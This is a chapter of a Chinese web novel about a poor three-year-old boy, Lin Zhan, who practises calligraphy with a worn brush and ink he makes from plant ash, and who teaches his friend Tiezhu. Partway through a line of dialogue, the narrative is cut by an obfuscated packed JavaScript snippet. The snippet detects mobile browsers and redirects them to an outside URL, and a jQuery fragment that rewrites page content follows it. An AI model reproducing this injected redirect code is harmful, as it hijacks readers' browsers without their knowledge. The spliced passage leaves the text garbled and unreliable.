那支秃毛笔，成了林湛最新的“宝贝”。货郎陈叔走后，他一路上都小心翼翼地捧着，生怕掉了或磕碰了。笔杆是普通的实心竹，被摩挲得光滑，尾端还有一小块不起眼的墨渍，证明它曾经真正饱蘸墨汁，书写过文章。笔头的毛稀疏、开叉、硬挺，早已失去了应有的锋颖，但林湛看来，这比烧焦的树枝不知强了多少倍。
回到家，他立刻打来清水，用王氏缝衣的细针，小心翼翼地挑去笔头里干结的残墨和杂物，然后轻轻地在水中涤荡，再用干净的旧布吸去多余水分。处理过的笔头虽然依旧杂乱，但总算柔软了些，勉强能看出个笔形。
笔有了，墨呢？砚台呢？孙夫子那里有，但他不能总用夫子的。家里是绝对买不起这些的。
林湛盯着灶膛里那堆冷却的草木灰，又看了看水缸，一个主意冒了出来。他记得古代似乎有“灰书”或“墨灰”的记载，用极细的草木灰混合胶水或液体，可以充当最原始的书写颜料。胶水是没有的，但水总是有的。
他找来一个缺了口的小陶碗，用木片仔细地从灶膛边缘刮取那些燃烧充分、质地最细腻均匀的白色灰烬（主要是茅草和灌木的灰），筛去杂质，倒入碗中，再加入少量清水，用一根干净的小木棍慢慢搅拌。
第一次，水加多了，成了一碗灰黑色的“汤”，根本挂不上笔。倒掉重来。第二次，水加少了，灰粉难以调匀，结成小块。他不气馁，一点点试验比例，终于调出一碗浓稠适度、颜色深灰的“灰汁”。他用秃毛笔尖蘸了一点，在旁边废弃的木板上划了一下，留下了一道清晰（虽然颜色浅灰）的痕迹！
成功了！林湛心中一阵雀跃。虽然这“墨”没有墨香，色泽灰淡，附着性也远不如真正的墨汁，容易掉粉，但对于练习笔画和结构，足够了！而且取之不尽，用之不竭！
砚台也好办。他找来一块相对平整、略有凹槽的旧瓦片，洗净擦干，权当砚台。至于纸，孙夫子给的旧纸太珍贵，不能轻易浪费在这种练习上。他的目光落在了墙角堆着的几块破旧木板、以及一些表面相对光滑的碎陶片上。这些，就是他的“纸”！
于是，林家屋檐下出现了一幅有趣的景象：三岁的小林湛，端坐在小凳上，面前一块破瓦片盛着灰黑色的“墨汁”，手里握着一支秃头毛笔，神情专注地在一块旧木板上，一笔一划地写着字。写满一块，就用湿布擦去灰迹，晾干再写。
起初，这笔极不听使唤。笔毛太硬太散，难以聚锋，写出的笔画不是过粗就是分叉，还常常掉下灰渣，弄得字迹模糊。但林湛极有耐心，他不断调整握笔姿势、下笔力度和蘸“墨”的多寡，慢慢摸索着与这支破笔的“相处之道”。
他先从最简单的“一、二、三”练起，追求横平竖直。然后练习“上、下、大、小”等结构简单的字。每写一个字，他都会和沙盘上练习时的感觉对比，和记忆中孙夫子示范的笔画对照。手腕悬空久了会酸，他就休息片刻，甩甩手，活动一下手指，或者在心里默背刚学的文章。
王氏看着儿子那认真的小模样，又是心疼又是骄傲。她特意找出一块最柔软、吸水的旧布，给林湛当“笔舔”和擦手布。大丫也常常蹲在旁边看，惊叹弟弟写出的字比沙盘上的更“像真的字”。
铁柱自然是“兄弟识字班”的常客。他看到林湛用毛笔在木板上写字，羡慕得眼睛发直。
“湛哥儿！这笔真神气！写的字都带影子（指灰色痕迹）了！”铁柱蹲在一边，不敢碰那宝贝笔，只盯着木板上的字看。
“铁柱哥，你要不要试试？就用树枝蘸点灰水，在陶片上写。”林湛鼓励他。
铁柱兴冲冲地试了，结果不是把灰水弄得滴滴答答，就是把字画得鬼画符一样，逗得自己哈哈大笑。“不行不行，这比用树枝在沙上画难多了！湛哥儿你真厉害！”
林湛便一边自己练，一边指导铁柱在陶片上练习基本笔画：“手腕要稳，力从手臂来，别光用手指头抠……对，慢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179264|196937||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
慢拉，像拉一根线……”
偶尔，孙夫子会信步走来林家附近，看看这个小弟子的“课余生活”。当他看到林湛用自制灰墨、秃笔、木板练字时，先是一怔，随即眼中流露出深深的动容和赞许。他没有打扰，只是静静地看了一会儿，留下一句：“心诚则灵，器陋无妨。”便背着手走了。第二天，林湛去上课时，发现孙夫子的旧砚台边，多了一小块用油纸包着的、最劣质的墨锭碎块，还有一张写着“清水缓磨，可得淡墨”的字条。
林湛如获至宝。他将那小块墨锭看得比金子还重，只有练习特别重要的字或准备给夫子看的作业时，才舍得用瓦片研一点点极淡的墨汁。平时，依旧以草木灰水为主。
日子一天天过去，旧木板和碎陶片被反复书写、擦拭，表面越来越光滑，几乎能照出人影。林湛的字，也从最初的歪扭分叉，渐渐变得有了筋骨，笔画虽仍显稚嫩，但结构日趋平稳，起笔收笔也隐约有了章法。那支秃毛笔的笔头，在他的精心使用和清洗下，似乎也被驯服了些，不再那么桀骜不驯。
这一日傍晚，夕阳的余晖将小院染成金黄。林湛写完最后一个字，轻轻搁下笔，看着木板上那排整齐的“学而时习之，不亦说乎”，虽然字迹灰淡，笔画也不够劲挺，但每个字都端正清晰，一股小小的成就感油然而生。
他端起那碗快要用完的草木灰水，走到菜地边，将灰水缓缓浇在一棵葱苗下。“不能浪费，灰还能肥地呢。”他小声嘀咕着。
身后传来王氏喊他吃饭的声音。林湛应了一声，仔细地将秃毛笔清洗干净，倒挂在屋檐下通风处，又把瓦片砚台和木板摆放整齐。
晚风拂过，带着泥土和炊烟的气息。屋檐下，那支秃毛笔的笔毛在风中微微颤动，仿佛也在诉说着一个寒门学子，在最简陋的条件下，对知识最虔诚的渴望与最执着的练习。木板上的灰字早已干透，在暮色中显得有些模糊，但那一道道努力的痕迹，却已深深印刻在流逝的时光里。